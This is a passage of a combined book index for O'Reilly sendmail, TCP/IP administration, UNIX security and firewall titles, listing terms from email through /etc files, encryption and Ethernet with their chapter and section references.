sendmail and : TCP/IP Network Administration, 10.1. sendmail's Function
service extensions to : TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
SMTP probes : sendmail, 22.3. SMTP Probes
standardizing on : TCP/IP Network Administration, 4.5.3. Planning Your Mail System
status codes : sendmail, B.1. Status file lines
for UNIX : (see Sendmail)
VRFY command
sendmail, 22.3.2. SMTP vrfy and expn
sendmail, 22.8.3.5. The PrivacyOptions option
sendmail, 30.8. Alphabetized F= Flags
startup file attacks : Practical UNIX & Internet Security, 11.5.2.5. .forward, .procmailrc
tracing intruders : Building Internet Firewalls, 13.3. Pursuing and Capturing the
transport agents (MTAs) : (see delivery agents)
user agents : (see MUAs)
embedded commands : (see commands)
embezzlers : Practical UNIX & Internet Security, 11.3. Authors
emergencies : (see disasters and disaster recovery)
emergency response organizations : (see response teams)
employees
Practical UNIX & Internet Security, 11.3. Authors
Practical UNIX & Internet Security, 13. Personnel Security
Practical UNIX & Internet Security, 13.3. Outsiders
departure of : Practical UNIX & Internet Security, 13.2.6. Departure
phonebook of : Practical UNIX & Internet Security, 12.3.3. Other Media
security checklist for : Practical UNIX & Internet Security, A.1.1.12. Chapter 13: Personnel Security
targeted in legal investigation : Practical UNIX & Internet Security, 26.2.5. If You or One of Your Employees Is a Target
trusting : Practical UNIX & Internet Security, 27.3.1. Your Employees?
written authorization for : Practical UNIX & Internet Security, 26.2.6. Other Tips
empty
email addresses
sendmail, 10.3. Missing Addresses
sendmail, 17.1.1.3. Handle null address
sendmail, 30.8. Alphabetized F= Flags
sendmail.cf file : sendmail, 5.2. The Minimal File
encapsulation
Building Internet Firewalls, 6.3. What Does a Packet Look Like?
Building Internet Firewalls, C.3. TCP/IP Protocol Architecture
TCP/IP Network Administration, 1.3. TCP/IP Protocol Architecture
of datagrams : TCP/IP Network Administration, 1.4. Network Access Layer
of mail messages : TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
encoding
sendmail, 30.8. Alphabetized F= Flags
sendmail, 32.5. Alphabetized Reference
data : TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
text
TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
TCP/IP Network Administration, 12.6. Encryption
"Encrypted:" header line : sendmail, 35.10. Alphabetized Reference
encryption
Practical UNIX & Internet Security, 6.2. What Is Encryption?
Practical UNIX & Internet Security, 6.2.2. The Elements of Encryption
Practical UNIX & Internet Security, 12.2.6.2. Encryption
Practical UNIX & Internet Security, 17.4. Security Implications of Network Services
TCP/IP Network Administration, 4.2.1. Obtaining an IP Address
TCP/IP Network Administration, 6.3.4. PPP Daemon Security
TCP/IP Network Administration, 12.6. Encryption
(see also cryptography)
algorithms
Practical UNIX & Internet Security, 2.5. The Problem with Security Through Obscurity
Practical UNIX & Internet Security, 6.4.8. Proprietary Encryption Systems
Practical UNIX & Internet Security, 6.6. Encryption Programs Available for UNIX
Practical UNIX & Internet Security, 6.6.3.6. PGP detached signatures
crypt
Practical UNIX & Internet Security, 6.6.1. UNIX crypt: The Original UNIX Encryption Command
Practical UNIX & Internet Security, 6.6.1.3. Example
Digital Signature Algorithm
Practical UNIX & Internet Security, 6.4.2. Summary of Public Key Systems
Practical UNIX & Internet Security, 6.5.3. Digital Signatures
ElGamal : Practical UNIX & Internet Security, 6.4.2. Summary of Public Key Systems
IDEA : Practical UNIX & Internet Security, 6.4.1. Summary of Private Key Systems
RC2, RC4, and RC5
Practical UNIX & Internet Security, 6.4.1. Summary of Private Key Systems
Practical UNIX & Internet Security, 6.4.8. Proprietary Encryption Systems
ROT13 : Practical UNIX & Internet Security, 6.4.3. ROT13: Great for Encoding Offensive Jokes
RSA
Practical UNIX & Internet Security, 6.4.2. Summary of Public Key Systems
Practical UNIX & Internet Security, 6.4.6. RSA and Public Key Cryptography
Practical UNIX & Internet Security, 6.4.6.3. Strength of RSA
application-level
Building Internet Firewalls, 10.5.1. At What Level Do You Encrypt?
Practical UNIX & Internet Security, 16.3.1. Link-level Security
of backups
Practical UNIX & Internet Security, 7.1.6.3. Data security for backups
Practical UNIX & Internet Security, 7.4.4. Encrypting Your Backups
Practical UNIX & Internet Security, 12.3.2.4. Backup encryption
checklist for : Practical UNIX & Internet Security, A.1.1.5. Chapter 6: Cryptography
Data Encryption Standard (DES)
Practical UNIX & Internet Security, 6.4.1. Summary of Private Key Systems
Practical UNIX & Internet Security, 6.4.4. DES
Practical UNIX & Internet Security, 6.4.5.2. Triple DES
Practical UNIX & Internet Security, 6.6.2. des: The Data Encryption Standard
DCE and : Practical UNIX & Internet Security, 3.2.2. The /etc/passwd File
Diffie-Hellman : (see Diffie-Hellman key exchange system)
end-to-end : Practical UNIX & Internet Security, 16.3.1. Link-level Security
Enigma system
Practical UNIX & Internet Security, 6.3. The Enigma Encryption System
Practical UNIX & Internet Security, 6.6.1.1. The crypt program
(see also crypt command/algorithm)
escrowing keys
Practical UNIX & Internet Security, 6.1.3. Modern Controversy
Practical UNIX & Internet Security, 7.1.6.3. Data security for backups
of executables : Building Internet Firewalls, 5.8.2.2. How to disable services
exporting software : Practical UNIX & Internet Security, 26.4.1. Munitions Export
of hypertext links : Practical UNIX & Internet Security, 18.4.1. Eavesdropping Over the Wire
key distribution : Building Internet Firewalls, 10.5.4. Key Distribution
laws about
Practical UNIX & Internet Security, 6.7. Encryption and U.S. Law
Practical UNIX & Internet Security, 6.7.2. Cryptography and Export Controls
link-level : Practical UNIX & Internet Security, 16.3.1. Link-level Security
of modems : Practical UNIX & Internet Security, 14.6. Additional Security for Modems
multipart subtype : TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
Netscape Navigator system : Practical UNIX & Internet Security, 18.4.1. Eavesdropping Over the Wire
with network services : Practical UNIX & Internet Security, 17.4. Security Implications of Network Services
network-level : Building Internet Firewalls, 10.5. Network-Level Encryption
one-time pad mechanism : Practical UNIX & Internet Security, 6.4.7. An Unbreakable Encryption Algorithm
packet filtering perimeter and : Building Internet Firewalls, 10.5.3. Where Do You Encrypt?
of passwords
Practical UNIX & Internet Security, 8.6. The UNIX Encrypted Password System
Practical UNIX & Internet Security, 8.6.4. Crypt16() and Other Algorithms
Practical UNIX & Internet Security, 23.5. Tips on Using Passwords
PGP : (see PGP)
private-key
Practical UNIX & Internet Security, 6.4. Common Cryptographic Algorithms
Practical UNIX & Internet Security, 6.4.1. Summary of Private Key Systems
TCP/IP Network Administration, 12.6. Encryption
public-key
Building Internet Firewalls, 10. Authentication and Inbound
Practical UNIX & Internet Security, 6.4. Common Cryptographic Algorithms
Practical UNIX & Internet Security, 6.4.2. Summary of Public Key Systems
Practical UNIX & Internet Security, 6.4.6. RSA and Public Key Cryptography
Practical UNIX & Internet Security, 6.4.6.3. Strength of RSA
Practical UNIX & Internet Security, 6.5.3. Digital Signatures
Practical UNIX & Internet Security, 18.3. Controlling Access to Files on Your Server
Practical UNIX & Internet Security, 18.6. Dependence on Third Parties
TCP/IP Network Administration, 12.6. Encryption
breaking : Practical UNIX & Internet Security, 19.3.4. Limitations of Secure RPC
PGP : Practical UNIX & Internet Security, 6.6.3.2. Creating your PGP public key
proving identity with : Practical UNIX & Internet Security, 19.3.1.1. Proving your identity
RC4 and RC5 algorithms : Practical UNIX & Internet Security, 6.4.1. Summary of Private Key Systems
references on : Practical UNIX & Internet Security, D.1.5. Cryptography Books
Skipjack algorithm : Practical UNIX & Internet Security, 6.4.1. Summary of Private Key Systems
superencryption : Practical UNIX & Internet Security, 6.4.5. Improving the Security of DES
and superusers : Practical UNIX & Internet Security, 6.2.4. Why Use Encryption with UNIX?
of time-stamp : Building Internet Firewalls, 10.2.2. Something You Know
uses for : TCP/IP Network Administration, 12.6. Encryption
of Web information : Practical UNIX & Internet Security, 18.4.1. Eavesdropping Over the Wire
end systems : (see hosts)
end-of-line string : sendmail, 30.4. The Equates
end-to-end
data encryption
Practical UNIX & Internet Security, 16.3.1. Link-level Security
TCP/IP Network Administration, 12.6. Encryption
routes
TCP/IP Network Administration, 2.5. The Routing Table
TCP/IP Network Administration, 3.4.1. Simple Mail Transfer Protocol
TCP/IP Network Administration, 7.4.3. Open Shortest Path First
TCP/IP Network Administration, 7.5.2. Border Gateway Protocol
TCP/IP Network Administration, B.10. Control Statements
Energy Sciences Network (ESnet) : Practical UNIX & Internet Security, F.3.4.43. U.S. Department of Energy
Enigma encryption system
Practical UNIX & Internet Security, 6.3. The Enigma Encryption System
Practical UNIX & Internet Security, 6.6.1.1. The crypt program
enriched text subtype : TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
enterprise
networks
Practical UNIX & Internet Security, 16.1. Networking
TCP/IP Network Administration, 4.1. Connected and Non-Connected Networks
subnets : TCP/IP Network Administration, 5.2. Linux Kernel Configuration
enterpriseSpecific trap : TCP/IP Network Administration, 11.9. Simple Network Management Protocol
ENVDEF= directive : sendmail, 18.4.2. ENVDEF=
envelope
sendmail, 1.7. The Envelope
sendmail, 8.2. Why Rules?
DSN ENVID identifier
sendmail, 23.9. The qf File Internals
sendmail, 36.7. Alphabetized Reference
logging sender of : sendmail, 26.1.3.3. from= show envelope sender
masquerading : sendmail, 19.6. Alphabetized m4 Macros
original DSN : sendmail, 31.10. Alphabetized Reference
rewriting address of : sendmail, 29.3.1. V8 Enhancements
specifying recipient's address : sendmail, 29.10.2. The check_rcpt Rule Set
UDB rewrite on : sendmail, 30.8. Alphabetized F= Flags
ENVELOPE *e structure : sendmail, 20.1.1. Arguments Passed to checkcompat()
${envid} macro : sendmail, 31.10. Alphabetized Reference
environment variables
Practical UNIX & Internet Security, 11.5.2.7. Other initializations
Practical UNIX & Internet Security, 23.2. Tips on Avoiding Security-related Bugs
sendmail, 5.3.12. Environment variables
sendmail, 22.2. The Environment
sendmail, 36.4.2.1. Initialize the environment
E configuration command : sendmail, 22.2.1. The E Configuration Command
environment, physical
Practical UNIX & Internet Security, 12.2.1. The Environment
Practical UNIX & Internet Security, 12.2.1.13. Environmental monitoring
equal-cost multi-path routing : TCP/IP Network Administration, 7.4.3. Open Shortest Path First
equates
sendmail, 30.4. The Equates
(see also under specific equate)
equivalent hosts : TCP/IP Network Administration, 12.2.5. Secure the r Commands
erasing disks : Practical UNIX & Internet Security, 12.3.2.3. Sanitize your media before disposal
erotica, laws governing : Practical UNIX & Internet Security, 26.4.5. Pornography and Indecent Material
ERRLIST_PREDEFINED macro : sendmail, 18.8. Alphabetized Reference
errno variable : Practical UNIX & Internet Security, 23.2. Tips on Avoiding Security-related Bugs
errno.h file : sendmail, B.1. Status file lines
error messages
ErrorHeader (E) option : sendmail, 34.8. Alphabetized Reference
ErrorMode (e) option
sendmail, 34.1.3. Appropriateness of Options
sendmail, 34.8. Alphabetized Reference
sendmail, 36.7. Alphabetized Reference
errors
Practical UNIX & Internet Security, 7.1.1.1. A taxonomy of computer failures
sendmail, 26.1. Logging with syslog
sendmail, 36.5.5. EX_OSERR A System Resource Error
(see also exit signal)
(see also logs/logging)
in ACLs : Practical UNIX & Internet Security, 5.2.5.1. AIX Access Control Lists
addressing : sendmail, 8.2. Why Rules?
building with m4 : sendmail, 19.2. Build with m4
configuration : Practical UNIX & Internet Security, 9.1. Prevention
correction, not provided in SLIP : TCP/IP Network Administration, 6.2.1. The Serial Protocols
delivery agent for
sendmail, 9.4. The error Delivery Agent
sendmail, 30.5.2. The error Delivery Agent
delivery failure count : sendmail, 23.9. The qf File Internals
detection
TCP/IP Network Administration, 1.5.1. Internet Protocol
TCP/IP Network Administration, 11.8. Protocol Case Study
end-to-end : TCP/IP Network Administration, 1.6. Transport Layer
DNS error numbers : sendmail, B.1. Status file lines
error message header : sendmail, 34.8. Alphabetized Reference
human
Practical UNIX & Internet Security, 7.1.4. Guarding Against Media Failure
TCP/IP Network Administration, 11.1.1. Troubleshooting Hints
ICMP codes for : Building Internet Firewalls, 6.4.2. Returning ICMP
illegal command-line switches : sendmail, 36.7. Alphabetized Reference
List:; form addresses
sendmail, 17.1.2.1. A rule to handle List:;
sendmail, 17.3. Rule Set 0
MIME format : sendmail, 34.8. Alphabetized Reference
overwriting rule sets : sendmail, 8.4. Rules
recovery from : TCP/IP Network Administration, 1.5.1. Internet Protocol
requeuing in response to : sendmail, 25.7.6. Force Requeue on Error
rule set 0 for : sendmail, 17.3. Rule Set 0
on sending errors : sendmail, 34.8. Alphabetized Reference
in sendmail.cf file : sendmail, 5.1. Overview
suppressing messages : sendmail, 12.2. The File Form of Class
temporary : sendmail, 36.5.8. EX_TEMPFAIL A Recoverable Error
UNIX error number : sendmail, B.1. Status file lines
"Errors-To:" header line
sendmail, 34.8. Alphabetized Reference
sendmail, 35.10. Alphabetized Reference
escape characters
Practical UNIX & Internet Security, 14.5.3.1. Originate testing
sendmail, 35.3.2. Escape Character in the Header Field
escrowing encryption keys
Practical UNIX & Internet Security, 6.1.3. Modern Controversy
Practical UNIX & Internet Security, 7.1.6.3. Data security for backups
ESMTP (Extended SMTP)
sendmail, 4.2. Verbose (-v)
sendmail, 23.9. The qf File Internals
sendmail, 30.8. Alphabetized F= Flags
TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
TCP/IP Network Administration, 10.8. Testing sendmail.cf
BODY parameter (ESMTP)
sendmail, 31.10. Alphabetized Reference
sendmail, 36.7. Alphabetized Reference
private extensions to : TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
ESnet (Energy Sciences Network) : Practical UNIX & Internet Security, F.3.4.43. U.S. Department of Energy
espionage
Building Internet Firewalls, 1.2.2.4. Spies (Industrial and
Practical UNIX & Internet Security, 11.3. Authors
ESTABLISHED state : TCP/IP Network Administration, B.8.5. The bgp Statement
/etc directory
Practical UNIX & Internet Security, 11.1.2. Back Doors and Trap Doors
Practical UNIX & Internet Security, 11.5.3.5. System initialization files
backups of : Practical UNIX & Internet Security, 7.1.3. Types of Backups
/etc/aliases file
Practical UNIX & Internet Security, 11.5.3.3. /usr/lib/aliases, /etc/aliases,
sendmail, 3.1.1. The Aliases File
sendmail, 22.6. The Aliases File
sendmail, 24.1. The aliases(5) File
sendmail, 24.5. The Aliases Database
sendmail, 33.3.4.1. -A append values for duplicate keys (V8.7 and above)
sendmail, 33.8. Alphabetized Reference
sendmail, 36.7. Alphabetized Reference
TCP/IP Network Administration, 3.4.1. Simple Mail Transfer Protocol
TCP/IP Network Administration, 9.3. Network Information Service
in symbol table
sendmail, 24.5.4. No DBM Aliasing
sendmail, 33.8. Alphabetized Reference
/etc/aspppd.cf file : TCP/IP Network Administration, 6.3.6. Solaris PPP
/etc/auto_direct file : TCP/IP Network Administration, 9.1.4. NFS Automounter
/etc/auto_home file : TCP/IP Network Administration, 9.1.4. NFS Automounter
/etc/auto_master file : TCP/IP Network Administration, 9.1.4. NFS Automounter
/etc/bootptab file
TCP/IP Network Administration, 9.4. A BOOTP Server
TCP/IP Network Administration, 9.6.1. rdist
configuration parameters : TCP/IP Network Administration, 9.4.2. BOOTP extensions
updating : TCP/IP Network Administration, 9.4.2. BOOTP extensions
/etc/default/login file : Practical UNIX & Internet Security, 8.5.1. Secure Terminals
/etc/default/passwd file : TCP/IP Network Administration, 12.2.1. The Shadow Password File
/etc/defaultdomain file : TCP/IP Network Administration, 9.3. Network Information Service
/etc/dfs/dfstab file
TCP/IP Network Administration, 9.1.2.1. The share command
TCP/IP Network Administration, 9.1.5.1. NFS print services
/etc/dhcpd.conf file : TCP/IP Network Administration, 9.5.1. dhcpd.conf
/etc/diphosts file : TCP/IP Network Administration, 6.4.3. SLIP Server Configuration
/etc/ethers file
TCP/IP Network Administration, 3.5.1. Reverse Address Resolution Protocol
TCP/IP Network Administration, 9.3. Network Information Service
TCP/IP Network Administration, 11.4.2.1. ARP problem case study
/etc/exports file
Practical UNIX & Internet Security, 11.6.1.2. Writable system files and directories
Practical UNIX & Internet Security, 19.3.2.4. Using Secure NFS
Practical UNIX & Internet Security, 20.2.1.1. /etc/exports
Practical UNIX & Internet Security, 20.2.1.2. /usr/etc/exportfs
TCP/IP Network Administration, 9.1.5.1. NFS print services
/etc/fbtab file : Practical UNIX & Internet Security, 17.3.21.1. /etc/fbtab and /etc/logindevperm
/etc/fingerd program : (see finger service)
/etc/fsck program : Practical UNIX & Internet Security, 24.4.1.7. Hidden files and directories
/etc/fstab file
Practical UNIX & Internet Security, 11.1.2. Back Doors and Trap Doors
Practical UNIX & Internet Security, 19.3.2.5. Mounting a secure filesystem
TCP/IP Network Administration, 9.1.3.2. The vfstab and fstab files
/etc/ftpd : (see ftpd server)
/etc/ftpusers file : Practical UNIX & Internet Security, 17.3.2.5. Restricting FTP with the standard UNIX FTP server
/etc/gated.conf file
TCP/IP Network Administration, 7.6. Gateway Routing Daemon
TCP/IP Network Administration, 7.7.1.1. A host configuration
TCP/IP Network Administration, 7.7.2.1. Running gated at startup
/etc/gateways file
TCP/IP Network Administration, 7.3.1.1. Installing static routes at startup
TCP/IP Network Administration, 7.4.1.1. Running RIP with routed
/etc/group file
Practical UNIX & Internet Security, 1.2. What Is an Operating System?
Practical UNIX & Internet Security, 4.1.3.1. The /etc/group file
Practical UNIX & Internet Security, 4.2.3. Impact of the /etc/passwd and /etc/group
Practical UNIX & Internet Security, 8.1.6. Group Accounts
TCP/IP Network Administration, 9.3. Network Information Service
TCP/IP Network Administration, 13.2.1. Creating an FTP Server
/etc/halt command : Practical UNIX & Internet Security, 24.2.6. Anatomy of a Break-in
/etc/hosts file
Practical UNIX & Internet Security, 16.2.3.1. The /etc/hosts file
sendmail, 7.3.1. The hostname
sendmail, 18.8. Alphabetized Reference
sendmail, 34.8. Alphabetized Reference
TCP/IP Network Administration, 3.2. The Host Table
TCP/IP Network Administration, 6.1. The ifconfig Command
TCP/IP Network Administration, 7.3. Building a Static Routing Table
TCP/IP Network Administration, 9.1.4. NFS Automounter
TCP/IP Network Administration, 9.3. Network Information Service
creating : TCP/IP Network Administration, 3.2. The Host Table
as maps : TCP/IP Network Administration, 3.3.5. Network Information Service
modifying : TCP/IP Network Administration, 3.3.4. BIND, resolver, and named
/etc/hosts.allow file : TCP/IP Network Administration, 12.5.1.1. tcpd access control files
/etc/hosts.deny file
Building Internet Firewalls, 5.8.3.1. Using the TCP Wrapper package to protect services
TCP/IP Network Administration, 12.5.1.1. tcpd access control files
/etc/hosts.equiv file
Practical UNIX & Internet Security, 17.3.18.4. The ~/.rhosts file
Practical UNIX & Internet Security, 17.3.18.6. /etc/hosts.lpd file
Practical UNIX & Internet Security, 24.4.1.5. Changes to the hosts.equiv file
TCP/IP Network Administration, 12.2.5. Secure the r Commands
in security checks : TCP/IP Network Administration, 12.4.2. Looking for Trouble
/etc/hosts.lpd file
Practical UNIX & Internet Security, 17.3.18.6. /etc/hosts.lpd file
TCP/IP Network Administration, 9.2.1.1. LPD security
in security checks : TCP/IP Network Administration, 12.4.2. Looking for Trouble
/etc/inetd : (see inetd daemon)
/etc/inetd.conf file
Practical UNIX & Internet Security, 11.5.3.2. inetd.conf
Practical UNIX & Internet Security, 17.3. Primary UNIX Network Services
TCP/IP Network Administration, 5.4. The Internet Daemon
TCP/IP Network Administration, 9.4. A BOOTP Server
editing in tcpd : TCP/IP Network Administration, 12.5.1. wrapper
removing daemons from : TCP/IP Network Administration, 12.3.1. Remove Unnecessary Software
in security checks : TCP/IP Network Administration, 12.4.2. Looking for Trouble
/etc/init program : Practical UNIX & Internet Security, C.5.1. Process #1: /etc/init
/etc/init.d directory : TCP/IP Network Administration, 9.1.1. NFS Daemons
autofs script : TCP/IP Network Administration, 9.1.4. NFS Automounter
inetinit script : TCP/IP Network Administration, 7.3.1.1. Installing static routes at startup
sendmail script : TCP/IP Network Administration, 10.2. Running sendmail as a Daemon
/etc/inittab : (see inittab program)
/etc/keystore file : Practical UNIX & Internet Security, 19.3.1.1. Proving your identity
/etc/logindevperm file : Practical UNIX & Internet Security, 17.3.21.1. /etc/fbtab and /etc/logindevperm
/etc/lp directory : TCP/IP Network Administration, 9.2.2. Solaris Line Printer Service
/etc/lp/Systems file : TCP/IP Network Administration, 9.2.2. Solaris Line Printer Service
/etc/motd file : Practical UNIX & Internet Security, 26.2.6. Other Tips
/etc/named.boot file
Practical UNIX & Internet Security, 17.3.6.1. DNS zone transfers
Practical UNIX & Internet Security, 17.3.6.2. DNS nameserver attacks
TCP/IP Network Administration, 8.3.1. The named.boot File
TCP/IP Network Administration, 11.6.3. Cache corruption
TCP/IP Network Administration, C.1. The named Command
TCP/IP Network Administration, C.2. named.boot Configuration Commands
/etc/named.ca file : TCP/IP Network Administration, 11.6.3. Cache corruption
/etc/named.hosts file : TCP/IP Network Administration, 8.3.6. The named.hosts File
/etc/named.local file : TCP/IP Network Administration, 8.3.4. The named.local File
/etc/named.pid file : TCP/IP Network Administration, 11.6.3. Cache corruption
/etc/named.rev file : TCP/IP Network Administration, 8.3.5. The Reverse Domain File
/etc/networks file
TCP/IP Network Administration, 3.2. The Host Table
TCP/IP Network Administration, 6.1.3. Assigning a Subnet Mask
TCP/IP Network Administration, 7.3. Building a Static Routing Table
TCP/IP Network Administration, 9.3. Network Information Service
as maps : TCP/IP Network Administration, 3.3.5. Network Information Service
/etc/nsswitch.conf
sendmail, 7.3.1. The hostname
sendmail, D.4. L and G Configuration Commands
TCP/IP Network Administration, 9.3.1. The nsswitch.conf file
TCP/IP Network Administration, E.4.2. sendmail Options
/etc/passwd file
Practical UNIX & Internet Security, 1.2. What Is an Operating System?
Practical UNIX & Internet Security, 3.2.1. The /etc/passwd File
Practical UNIX & Internet Security, 3.2.2. The /etc/passwd File
Practical UNIX & Internet Security, 4.2.3. Impact of the /etc/passwd and /etc/group
Practical UNIX & Internet Security, 7.1.2. What Should You Back Up?
Practical UNIX & Internet Security, 8.1.1. Accounts Without Passwords
Practical UNIX & Internet Security, 8.6. The UNIX Encrypted Password System
Practical UNIX & Internet Security, 15.1.4. How the UUCP Commands Work
Practical UNIX & Internet Security, 24.4.1. New Accounts
Practical UNIX & Internet Security, C.5.1. Process #1: /etc/init
sendmail, 30.8. Alphabetized F= Flags
TCP/IP Network Administration, 6.3.5. PPP Server Configuration
TCP/IP Network Administration, 6.4.3. SLIP Server Configuration
TCP/IP Network Administration, 9.1.5. NFS Authentication Server
TCP/IP Network Administration, 9.3. Network Information Service
TCP/IP Network Administration, 10.4.1.1. Building a sendmail.cf with m4 macros
TCP/IP Network Administration, 12.2.1. The Shadow Password File
TCP/IP Network Administration, 13.2.1. Creating an FTP Server
+ in : (see NIS)
accounts without passwords : Practical UNIX & Internet Security, 8.1.1. Accounts Without Passwords
backing up : Practical UNIX & Internet Security, 7.1.2. What Should You Back Up?
gecos field : sendmail, 14.2.1. The Full-Name: Header
mail hubs and : sendmail, 6. The Mail Hub and Delivery Agents
new accounts : Practical UNIX & Internet Security, 24.4.1. New Accounts
NFS : Practical UNIX & Internet Security, 20.2.1.1. /etc/exports
protecting : TCP/IP Network Administration, 12.2. User Authentication
in security checks : TCP/IP Network Administration, 12.4.2. Looking for Trouble
trusted users and : sendmail, 14.6. Trusted User
user database class for : sendmail, 33.8. Alphabetized Reference
uucp user and : Practical UNIX & Internet Security, 15.1.4. How the UUCP Commands Work
/etc/pcnfsd.conf file : TCP/IP Network Administration, 9.1.5.1. NFS print services
/etc/ppp directory, protecting : TCP/IP Network Administration, A.2. The PPP Daemon
/etc/ppp/options file
TCP/IP Network Administration, 6.3.1. The PPP Daemon
TCP/IP Network Administration, 6.3.2. Dial-Up PPP
TCP/IP Network Administration, A.2. The PPP Daemon
/etc/ppp/options.device file : TCP/IP Network Administration, A.2. The PPP Daemon
/etc/printcap file : TCP/IP Network Administration, 9.2.1. The printcap File
/etc/profile file
Practical UNIX & Internet Security, 11.5.2.1. .login, .profile, /etc/profile
Practical UNIX & Internet Security, 24.4.1.6. Changes to startup files
/etc/protocols file
TCP/IP Network Administration, 2.7.1. Protocol Numbers
TCP/IP Network Administration, 5.4. The Internet Daemon
TCP/IP Network Administration, 9.3. Network Information Service
/etc/publickey file : Practical UNIX & Internet Security, 19.3.2.1. Creating passwords for users
/etc/rc directory
Practical UNIX & Internet Security, 11.5.3.5. System initialization files
Practical UNIX & Internet Security, 17.1.2. Starting the Servers
Practical UNIX & Internet Security, C.5.1. Process #1: /etc/init
commenting out services : Practical UNIX & Internet Security, 17.3. Primary UNIX Network Services
/etc/rc.d/rc.inet1 script : TCP/IP Network Administration, 7.3.1.1. Installing static routes at startup
/etc/rc.d/rc.M startup script : TCP/IP Network Administration, 10.2. Running sendmail as a Daemon
services started by : Building Internet Firewalls, 5.8.2.1. How are services managed?
/etc/remote file
Practical UNIX & Internet Security, 10.3.1. aculog File
Practical UNIX & Internet Security, 14.5.1. Hooking Up a Modem to Your Computer
/etc/renice command
Practical UNIX & Internet Security, 25.2.1.2. System overload attacks
Practical UNIX & Internet Security, C.1.3.3. Process priority and niceness
/etc/resolv.conf file
TCP/IP Network Administration, 8.1.1. BIND Configurations
TCP/IP Network Administration, 8.2. Configuring the Resolver
TCP/IP Network Administration, 8.2.1. The Resolver Configuration File
TCP/IP Network Administration, 11.6.4. dig: An Alternative to nslookup
/etc/secure/passwd file : Practical UNIX & Internet Security, 8.1.1. Accounts Without Passwords
/etc/security/passwd.adjunct file : Practical UNIX & Internet Security, 8.8.5. Shadow Password Files
/etc/sendmail.cf : (see sendmail.cf configuration file)
/etc/sendmail.ct file : sendmail, 19.6. Alphabetized m4 Macros
/etc/sendmail.cw file : sendmail, 19.6. Alphabetized m4 Macros
/etc/sendmail/aliases file : Practical UNIX & Internet Security, 11.5.3.3. /usr/lib/aliases, /etc/aliases,
/etc/services file
Practical UNIX & Internet Security, 17.1.1. The /etc/services File
TCP/IP Network Administration, 5.4. The Internet Daemon
TCP/IP Network Administration, 9.3. Network Information Service
TCP/IP Network Administration, 9.4. A BOOTP Server
TCP/IP Network Administration, 9.7.1. POP Server
TCP/IP Network Administration, 9.7.2. IMAP Server
/etc/shadow file
Practical UNIX & Internet Security, 8.1.1. Accounts Without Passwords
Practical UNIX & Internet Security, 8.8.5. Shadow Password Files
TCP/IP Network Administration, 12.2.1. The Shadow Password File
/etc/shells file
Practical UNIX & Internet Security, 8.4.2. Changing the Account's Login
sendmail, 18.8. Alphabetized Reference
sendmail, 22.8.4. The /etc/shells file
sendmail, D.1. Sun Enhancements
/etc/ssh_known_hosts file : TCP/IP Network Administration, 12.2.6. Secure Shell
/etc/syslogd
sendmail, 26.1.2. Tuning syslog.conf
TCP/IP Network Administration, 3.2. The Host Table
TCP/IP Network Administration, A.2. The PPP Daemon
TCP/IP Network Administration, A.3. chat
/etc/system file : TCP/IP Network Administration, 5.1. Kernel Configuration
/etc/tty files
Practical UNIX & Internet Security, 7.1.2. What Should You Back Up?
sendmail, 18.8. Alphabetized Reference
TCP/IP Network Administration, 6.3.5. PPP Server Configuration
TCP/IP Network Administration, 6.4.4. Troubleshooting Serial Connections
/etc/ttys file
Practical UNIX & Internet Security, 8.5.1. Secure Terminals
Practical UNIX & Internet Security, 14.5.1. Hooking Up a Modem to Your Computer
/etc/ttytab file : Practical UNIX & Internet Security, C.5.1. Process #1: /etc/init
/etc/utmp file
Practical UNIX & Internet Security, 10.1.2. utmp and wtmp Files
Practical UNIX & Internet Security, 10.1.2.1. su commandutmp and wtmp files andsu
Practical UNIX & Internet Security, 24.2.1. Catching One in the Act
Practical UNIX & Internet Security, 24.2.4. Tracing a Connection
/etc/uucp directory : Practical UNIX & Internet Security, 15.4.2.1. Some bad examples
/etc/yp/makedbm program : Practical UNIX & Internet Security, 19.4.4.1. Setting up netgroups
/etc/yp.conf file : TCP/IP Network Administration, 9.3. Network Information Service
in restricted filesystems : Practical UNIX & Internet Security, 8.1.5. Restricted Filesystem
Ethernet
Practical UNIX & Internet Security, 16.1. Networking
TCP/IP Network Administration, 1.5.1.3. Fragmenting datagrams
TCP/IP Network Administration, 4.2.2. Defining the Subnet Mask
addresses : TCP/IP Network Administration, 1.4. Network Access Layer
identifying DHCP client by : TCP/IP Network Administration, 9.5.1. dhcpd.conf
keeping records of : TCP/IP Network Administration, 11.4.2. Troubleshooting with the arp Command
addresses for random seeds : Practical UNIX & Internet Security, 23.8. Picking a Random Seed
cables : (see cables, network)
cards, configuring
TCP/IP Network Administration, 5.2. Linux Kernel Configuration
TCP/IP Network Administration, 6.1.1. Determining the Interface Name
eavesdropping by : Practical UNIX & Internet Security, 12.3.1.2. Eavesdropping by Ethernet and 10Base-T
fast ports (100 Mbps) : TCP/IP Network Administration, 11.4.4. Subdividing an Ethernet
FreeBSD device drivers, listed : TCP/IP Network Administration, 5.3.1.3. Devices
interfaces
TCP/IP Network Administration, 5.3.1.3. Devices
TCP/IP Network Administration, 6.1. The ifconfig Command
TCP/IP Network Administration, 6.1.5.2. ARP and trailers
TCP/IP Network Administration, 6.1.5.6. Putting ifconfig in the startup files
LAN : TCP/IP Network Administration, 5.2. Linux Kernel Configuration
networks : TCP/IP Network Administration, 1.4. Network Access Layer
subdividing : TCP/IP Network Administration, 11.4.4. Subdividing an Ethernet
support in BSD : TCP/IP Network Administration, 5.3.1.2. Pseudo-device
switch : TCP/IP Network Administration, 11.4.4. Subdividing an Ethernet
Ethernet packet layer : Building Internet Firewalls, 6.3.1.1. Ethernet layer
ethers file
TCP/IP Network Administration, 3.5.1. Reverse Address Resolution Protocol
TCP/IP Network Administration, 9.3. Network Information Service
TCP/IP Network Administration, 11.4.2.1. ARP problem case study
Ethers table (NIS+) : Practical UNIX & Internet Security, 19.5.3. NIS+ Tables
ETRN command (SMTP) : sendmail, 23.6.2.4. Process the queue via ESMTP ETRN
Euler Totient Function : Practical UNIX & Internet Security, 6.4.6.1. How RSA works
eval function
